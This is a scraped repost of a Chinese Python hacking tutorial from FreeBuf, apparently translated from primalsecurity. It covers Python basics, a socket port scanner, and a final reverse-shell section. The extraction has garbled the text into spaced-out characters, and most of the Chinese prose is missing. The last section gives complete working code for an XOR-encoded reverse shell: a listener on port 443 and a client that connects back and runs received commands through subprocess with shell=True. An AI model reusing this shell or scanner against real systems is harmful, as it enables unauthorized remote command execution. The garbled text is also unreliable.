[8664] 2015-02-06_Python黑客学习笔记:从HelloWorld到编写PoC(上)

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-17
2015-02-06_Python黑客学习笔记:从HelloWorld到编写PoC(上) P y t h o n H e l l o W o r l d P o C F r e e B u f   2 0 1 5 - 0 2 - 0 6 C S 0 x 0     G e t t i n g   S t a r t e d             -   0 x 1     G e t t i n g   S t a r t e d   P t . 2       -   0 x 2     P o r t   S c a n n e r                 -     0 x 3     R e v e r s e   S h e l l               -   s h e l l 0 x 0     G e t t i n g   S t a r t e d   -   P y t h o n P y t h o n 便 P y t h o n 2 . x . L i n u x 使 k a l i   L i n u x C / C + + P y t h o n 使 P y t h o n ' p y t h o n ' P y t h o n $   p y t h o n P y t h o n   2 . 7 . 3 T y p e   " h e l p " ,   " c o p y r i g h t " ,   " c r e d i t s "   o r   " l i c e n s e "   f o r   m o r e   i n f o r m a t i o n . > > > > > > P y t h o n t y p e ( ) > > >   > > >   i p   =   ' 8 . 8 . 8 . 8 ' > > >   p o r t   =   5 3 > > >   t y p e ( i p ) < t y p e   ' s t r ' > > > >   > > >   t y p e ( p o r t ) < t y p e   ' i n t ' > > > > i p p o r t 使 t y p e ( ) 使 h e l p ( ) > > > > > > h e l p ( t y p e ) > > >
q 退 使 + > > >   > > >   p r i n t   " T h e   I P   i s :   "   +   i p   +   "   a n d   t h e   p o r t   i s :   "   +   s t r ( p o r t ) T h e   I P   i s :   8 . 8 . 8 . 8   a n d   t h e   p o r t   i s :   5 3 > > > i p + p o r t 使 s t r ( ) > > >   > > >   d o m a i n   =   ' f r e e b u f . c o m ' > > >   d o m a i n ' f r e e b u f . c o m ' > > >   d o m a i n [ 0 ] ' f ' > > >   d o m a i n [ 0 : 7 ] ' f r e e b u f ' > > >   d o m a i n [ 3 : ] ' e b u f . c o m ' > > >   l e n ( d o m a i n ) 1 1 > > > - 0 0 - 1 l e n ( ) s p l i t > > >   h e l p ( i p . s p l i t ) > > >   s t r i n g   =   i p   +   ' : '   +   s t r ( p o r t ) > > >   s t r i n g   ' 8 . 8 . 8 . 8 : 5 3 ' > > >   s t r i n g . s p l i t ( ' : ' ) [ ' 8 . 8 . 8 . 8 ' ,   ' 5 3 ' ] > > > s p l i t : ( l i s t ) 使 a p p e n d r e m o v e > > >   l i s t   =   s t r i n g . s p l i t ( ' : ' ) > > >   l i s t [ ' 8 . 8 . 8 . 8 ' ,   ' 5 3 ' ] > > >   l i s t [ 0 ] ' 8 . 8 . 8 . 8 ' > > >   l i s t [ 1 ] ' 5 3 ' > > >   l i s t . a p p e n d ( ' g o o g l e ' ) > > >   l i s t [ ' 8 . 8 . 8 . 8 ' ,   ' 5 3 ' ,   ' g o o g l e ' ] > > >   l i s t . r e m o v e ( ' g o o g l e ' ) > > >   l i s t [ ' 8 . 8 . 8 . 8 ' ,   ' 5 3 ' ] > > >
P y t h o n h t t p : / / p y t h o n . u s y i y i . c n / p y t h o n _ 2 7 8 / t u t o r i a l / i n t r o d u c t i o n . h t m l # u s i n g - p y t h o n - a s - a - c a l c u l a t o r 使 P y t h o n M o d u l e s P y t h o n o s s u b p r o c e s s s o c k e t u r l l i b h t t p l i b r e s y s P y t h o n 使 c y m r u w h o i s s c a p y d p k t s p i d e r o s P y t h o n > > >   i m p o r t   o s > > >   o s . s y s t e m ( " e c h o   ' R n J l Z U J 1 Z g = = '   |   b a s e 6 4   - d " ) F r e e B u f 0 > > > P y t h o n / > > >   > > >   f i l e   =   o p e n ( ' t e s t . t x t ' , ' w ' ) > > >   f i l e . w r i t e ( ' H e l l o   W o r l d ' ) > > >   f i l e . c l o s e ( ) > > >   f i l e   =   o p e n ( ' t e s t . t x t ' , ' r ' ) > > >   f i l e . r e a d l i n e s ( ) [ ' H e l l o   W o r l d ' ] > > > 退 P y t h o n C t r l + z 0 x 1     G e t t i n g   S t a r t e d   P t . 2   -   P y t h o n P y t h o n d e f   M y F u n c t i o n :     . . . d o   w o r k . . .     r e t u r n   o u t p u t # d e f   m a i n ( ) :     o u t p u t   =   M y F u n c t i o n ( i n p u t ) # ! / u s r / b i n / p y t h o n d e f   f i b ( n ) :         a , b   =   0 , 1         w h i l e   a   <   n :                 p r i n t   a ,                 a , b   =   b , a + b d e f   m a i n ( ) :         f i b ( 2 0 ) i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " :         m a i n ( ) f i b ( n ) n
( C l a s s ) P y t h o n ( h t t p : / / p y t h o n . u s y i y i . c n / p y t h o n _ 2 7 8 / t u t o r i a l / c l a s s e s . h t m l # a - f i r s t - l o o k - a t - c l a s s e s P y t h o n l i n u x h o s t > > >   i m p o r t o s > > >   c l a s s   D o m a i n : . . .           d e f   _ _ i n i t _ _ ( s e l f ,   d o m a i n ,   p o r t ,   p r o t o c o l ) : . . .                           s e l f . d o m a i n   =   d o m a i n . . .                           s e l f . p o r t   =   p o r t . . .                           s e l f . p r o t o c o l   =   p r o t o c o l . . .           d e f   U R L ( s e l f ) : . . .                           i f   s e l f . p r o t o c o l   = =   ' h t t p s ' : . . .                                           U R L   =   ' h t t p s : / / ' + s e l f . d o m a i n + ' : ' + s e l f . p o r t + ' / ' . . .                           i f   s e l f . p r o t o c o l   = =   ' h t t p ' : . . .                                           U R L   =   ' h t t p : / / ' + s e l f . d o m a i n + ' : ' + s e l f . p o r t + ' / ' . . .                           r e t u r n   U R L . . .           d e f   l o o k u p ( s e l f ) : . . .                           o s . s y s t e m ( " h o s t   " + s e l f . d o m a i n ) . . .   > > >   d o m a i n   =   D o m a i n ( ' w w w . f r e e b u f . c o m ' ,   ' 8 0 ' ,   ' h t t p ' ) > > >   > > >   d i r ( d o m a i n ) [ ' U R L ' ,   ' _ _ d o c _ _ ' ,   ' _ _ i n i t _ _ ' ,   ' _ _ m o d u l e _ _ ' ,   ' d o m a i n ' ,   ' l o o k u p ' ,   ' p o r t ' ,   ' p r o t o c o l ' ] > > >   d o m a i n . U R L ( ) ' h t t p : / / w w w . f r e e b u f . c o m : 8 0 / ' > > >   d o m a i n . i p T r a c e b a c k   ( m o s t   r e c e n t   c a l l   l a s t ) :     F i l e   " < s t d i n > " ,   l i n e   1 ,   i n   < m o d u l e > A t t r i b u t e E r r o r :   D o m a i n   i n s t a n c e   h a s   n o   a t t r i b u t e   ' i p ' > > >   d o m a i n . p o r t ' 8 0 ' > > >   d o m a i n . p r o t o c o l ' h t t p ' > > >   d o m a i n . l o o k u p ( ) f r e e b u f . c o m   h a s   a d d r e s s   2 2 3 . 5 . 0 . 2 1 4 > > > P y t h o n C L I c o m m a n d - l i n e   i n t e r f a c e 使 s y s P y t h o n 使 . p y " i m p o r t   s y s s c r i p t   =   s y s . a r g v [ 0 ]
i p   =   s y s . a r g v [ 1 ] p o r t   =   s y s . a r g v [ 2 ] p r i n t   " [ + ]   T h e   s c r i p t   n a m e   i s :   "   +   s c r i p t p r i n t   " [ + ]   T h e   I P   i s :   "   +   i p   +   "   a n d   t h e   p o r t   i s :   "   +   p o r t s y s . a r g v . p y 0 x 2     P o r t   S c a n n e r   -   . p y P y t h o n P y t h o n s o c k e t P y t h o n w h i l e > > >   p o r t   =   1 0 0 0 > > >   w h i l e   p o r t   <   1 0 2 4 : . . .           p r i n t   " T h e   p o r t   i s :   "   +   s t r ( p o r t ) . . .           p o r t   =   p o r t   +   1 . . .   T h e   p o r t   i s :   1 0 0 0 T h e   p o r t   i s :   1 0 0 1 T h e   p o r t   i s :   1 0 0 2 T h e   p o r t   i s :   1 0 0 3 T h e   p o r t   i s :   1 0 0 4 T h e   p o r t   i s :   1 0 0 5 T h e   p o r t   i s :   1 0 0 6 T h e   p o r t   i s :   1 0 0 7 T h e   p o r t   i s :   1 0 0 8 T h e   p o r t   i s :   1 0 0 9 T h e   p o r t   i s :   1 0 1 0 T h e   p o r t   i s :   1 0 1 1 T h e   p o r t   i s :   1 0 1 2 T h e   p o r t   i s :   1 0 1 3 T h e   p o r t   i s :   1 0 1 4 T h e   p o r t   i s :   1 0 1 5 T h e   p o r t   i s :   1 0 1 6 T h e   p o r t   i s :   1 0 1 7 T h e   p o r t   i s :   1 0 1 8 T h e   p o r t   i s :   1 0 1 9 T h e   p o r t   i s :   1 0 2 0 T h e   p o r t   i s :   1 0 2 1 T h e   p o r t   i s :   1 0 2 2 T h e   p o r t   i s :   1 0 2 3 > > > f o r r a n g e ( ) > > >   > > >   f o r   p o r t   i n   r a n g e ( 1 0 0 0 ,   1 0 2 4 ) : . . .           p r i n t   " [ + ]   T h e   p o r t   i s :   "   +   s t r ( p o r t ) . . .   [ + ]   T h e   p o r t   i s :   1 0 0 0 [ + ]   T h e   p o r t   i s :   1 0 0 1 [ + ]   T h e   p o r t   i s :   1 0 0 2 [ + ]   T h e   p o r t   i s :   1 0 0 3 [ + ]   T h e   p o r t   i s :   1 0 0 4 [ + ]   T h e   p o r t   i s :   1 0 0 5 [ + ]   T h e   p o r t   i s :   1 0 0 6 [ + ]   T h e   p o r t   i s :   1 0 0 7 [ + ]   T h e   p o r t   i s :   1 0 0 8 [ + ]   T h e   p o r t   i s :   1 0 0 9 [ + ]   T h e   p o r t   i s :   1 0 1 0 [ + ]   T h e   p o r t   i s :   1 0 1 1 [ + ]   T h e   p o r t   i s :   1 0 1 2 [ + ]   T h e   p o r t   i s :   1 0 1 3 [ + ]   T h e   p o r t   i s :   1 0 1 4 [ + ]   T h e   p o r t   i s :   1 0 1 5 [ + ]   T h e   p o r t   i s :   1 0 1 6 [ + ]   T h e   p o r t   i s :   1 0 1 7 [ + ]   T h e   p o r t   i s :   1 0 1 8 [ + ]   T h e   p o r t   i s :   1 0 1 9 [ + ]   T h e   p o r t   i s :   1 0 2 0 [ + ]   T h e   p o r t   i s :   1 0 2 1 [ + ]   T h e   p o r t   i s :   1 0 2 2
[ + ]   T h e   p o r t   i s :   1 0 2 3 > > > P y t h o n s o c k e t s s h 2 2 > > >   i m p o r t   s o c k e t > > >   s   =   s o c k e t . s o c k e t ( ) > > >   s . c o n n e c t ( ( ' 1 2 7 . 0 . 0 . 1 ' ,   2 2 ) ) > > >   s . s e n d ( ' F r e e B u f   n ' ) 9 > > >   b a n n e r   =   s . r e c v ( 1 0 2 4 ) > > >   p r i n t   b a n n e r S S H - 2 . 0 - O p e n S S H _ 6 . 0 p 1   D e b i a n - 4 + d e b 7 u 2 P r o t o c o l   m i s m a t c h . > > > s o c k e t c o n n e c t ( ) I P T C P S Y N / S Y N - A C K / A C K s e n d ( ) r e c v ( ) 2 3 > > >   i m p o r t   s o c k e t > > >   s   =   s o c k e t . s o c k e t ( ) > > >   s . c o n n e c t ( ( ' 1 2 7 . 0 . 0 . 1 ' ,   2 3 ) ) T r a c e b a c k   ( m o s t   r e c e n t   c a l l   l a s t ) :     F i l e   " < s t d i n > " ,   l i n e   1 ,   i n   < m o d u l e >     F i l e   " / u s r / l i b / p y t h o n 2 . 7 / s o c k e t . p y " ,   l i n e   2 2 4 ,   i n   m e t h         r e t u r n   g e t a t t r ( s e l f . _ s o c k , n a m e ) ( * a r g s ) s o c k e t . e r r o r :   [ E r r n o   1 1 1 ]   C o n n e c t i o n   r e f u s e d > > > 使 使 t r y / e x c e p t : > > >   t r y : . . .           s . c o n n e c t ( ( ' 1 2 7 . 0 . 0 . 1 ' ,   2 3 ) ) . . .   e x c e p t :   p a s s . . .   > > > s c a n . p y i m p o r t   s o c k e t s   =   s o c k e t . s o c k e t ( ) f o r   p o r t   i n   r a n g e ( 2 0 , 2 5 ) :         t r y :                 p r i n t   " [ + ]   A t t e m p t i n g   t o   c o n n e c t   t o   1 2 7 . 0 . 0 . 1 :   "   +   s t r ( p o r t )                 s . c o n n e c t ( ( ' 1 2 7 . 0 . 0 . 1 ' ,   p o r t ) )                 s . s e n d ( ' s c a n ' )                 b a n n e r   =   s . r e c v ( 1 0 2 4 )                 i f   b a n n e r :                         p r i n t   " [ + ]   P o r t   "   +   s t r ( p o r t )   +   "   o p e n :   n "   +   b a n n e r                 s . c l o s e ( )         e x c e p t :   p a s s i p i m p o r t   s o c k e t s   =   s o c k e t . s o c k e t ( ) p o r t s   =   [ 2 1 ,   2 2 ,   5 3 ,   4 4 5 ,   8 0 ,   4 4 3 ,   3 3 8 9 ,   8 0 8 0 ] h o s t s   =   [ ' 1 2 7 . 0 . 0 . 1 ' ,   ' 1 0 . 1 0 . 1 0 . 1 0 ' ,   ' 1 9 2 . 1 6 8 . 1 . 1 ' ] f o r   h o s t   i n   h o s t s :         f o r   p o r t   i n   p o r t s :                 t r y :                         p r i n t   " [ + ]   A t t e m p t i n g   t o   c o n n e c t   t o   "   +   h o s t   +   " : "   +   s t r ( p o r t )                         s . c o n n e c t ( ( h o s t ,   p o r t ) )                         s . s e n d ( ' a b s d k f b s d a f b l a b l d s f d b f h a s d f l b f   / n ' )                         b a n n e r   =   s . r e c v ( 1 0 2 4 )                         i f   b a n n e r :                                 p r i n t   " [ + ]   "   +   h o s t   +   " : "   +   s t r ( p o r t )   +   "   o p e n :   n "   +   b a n n e r                         s . c l o s e ( )                 e x c e p t :                           p a s s
0 x 3     R e v e r s e   S h e l l   -   s h e l l s o c k e t U D P s e r v e r u d p _ s e r v e r . p y : i m p o r t   s o c k e t h o s t   =   ' ' p o r t   =   1 0 2 4 b u f _ s i z e   =   1 2 8 a d d r   =   ( h o s t ,   p o r t ) u d p _ s e r v e r   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ D G R A M ) u d p _ s e r v e r . b i n d ( a d d r ) w h i l e   T r u e :         p r i n t   ' w a t i n g   f o r   m e s s a g e . . . '         d a t a ,   a d d r   =   u d p _ s e r v e r . r e c v f r o m ( b u f _ s i z e )         p r i n t   ' . . . r e c e i v e d   f r o m   a n d   r e t u r n   t o : '   +   s t r ( a d d r )   +   " :   "   +   d a t a u d p _ s e r v e r . c l o s e ( ) c l i e n t u d p _ c l i e n t . p y : i m p o r t   s o c k e t h o s t   =   ' l o c a l h o s t ' p o r t   =   1 0 2 4 b u f _ s i z e   =   1 2 8 a d d r   =   ( h o s t ,   p o r t ) u d p _ c l i e n t   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ D G R A M ) w h i l e   T r u e :         d a t a   =   r a w _ i n p u t ( ' > ' )         i f   n o t   d a t a :                 b r e a k         u d p _ c l i e n t . s e n d t o ( d a t a ,   a d d r ) u d p _ c l i e n t . c l o s e ( ) s h e l l s h e l l s h e l l s h e l l i m p o r t   s o c k e t s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )
s . b i n d ( ( " 0 . 0 . 0 . 0 " ,   4 4 3 ) ) s . l i s t e n ( 2 0 4 8 ) p r i n t   " L i s t e n i n g   o n   p o r t   4 4 3 . . .   " ( c l i e n t ,   ( i p ,   p o r t ) )   =   s . a c c e p t ( ) p r i n t   "   R e c i v e d   c o n n e c t t i o n   f r o m   :   " ,   i p w h i l e   T r u e :         c o m m a n d   =   r a w _ i n p u t ( ' ~ $   ' )         e n c o d e   =   b y t e a r r a y ( c o m m a n d )         f o r   i   i n   r a n g e ( l e n ( e n c o d e ) ) :                 e n c o d e [ i ]   ^ =   0 x 4 1                 c l i e n t . s e n d ( e n c o d e )         e n _ d a t a   =   c l i e n t . r e c v ( 2 0 4 8 )           d e c o d e   =   b y t e a r r a y ( e n _ d a t a )         f o r   i   i n   r a n g e ( l e n ( d e c o d e ) ) :                 d e c o d e [ i ]   ^ =   0 x 4 1         p r i n t   d e c o d e c l i e n t . c l o s e ( ) s . c l o s e ( ) s h e l l # ! / u s r / b i n / p y t h o n i m p o r t   s o c k e t ,   s u b p r o c e s s ,   s y s R H O S T   =   s y s . a r g v [ 1 ] R P O R T   =   4 4 3 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s . c o n n e c t ( ( R H O S T ,   R P O R T ) ) w h i l e   T r u e :         #   r e c e i v e   X O R   e n c o d e d   d a t a   f r o m   n e t w o r k   s o c k e t         d a t a   =   s . r e c v ( 1 0 2 4 )         #   X O R   t h e   d a t a   a g a i n   w i t h   a   ' x 4 1 '   t o   g e t   b a c k   t o   n o r m a l   d a t a         e n _ d a t a   =   b y t e a r r a y ( d a t a )         f o r   i   i n   r a n g e ( l e n ( e n _ d a t a ) ) :                 e n _ d a t a [ i ]   ^ =   0 x 4 1         #   E x e c u t e   t h e   d e c o d e   d a t a   a s   a   c o m m a n d .         #   T h e   s u b p r o c e s s   m o d u l e   i s   g r e a t   b e c a u s e   w e   c a n   P I P E   S T D O U T / S T D E R R / S T D I N   t o   a   v a r i a b l e         c o m m   =   s u b p r o c e s s . P o p e n ( s t r ( e n _ d a t a ) ,   s h e l l   =   T r u e ,   s t d o u t   =   s u b p r o c e s s . P I P E ,   s t d e r r   =   s u b p r o c e s s . P I P E ,   s t d i n   =   s u b p r o c e s s . P I P E )         c o m m . w a i t ( )         S T D O U T ,   S T D E R R   =   c o m m . c o m m u n i c a t e ( )               p r i n t   S T D E R R         #   E n c o d e   t h e   o u t p u t   a n d   s e n d   t o   R H O S T         e n _ S T D O U T =   b y t e a r r a y ( S T D O U T )         f o r   i   i n   r a n g e ( l e n ( e n _ S T D O U T ) ) :                 e n _ S T D O U T [ i ]   ^ =   0 x 4 1         s . s e n d ( e n _ S T D O U T ) s . c l o s e ( ) c o m m . w a i t ( ) [ p r i m a l s e c u r i t y F r e e B u f F r e e B u f . c o m ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则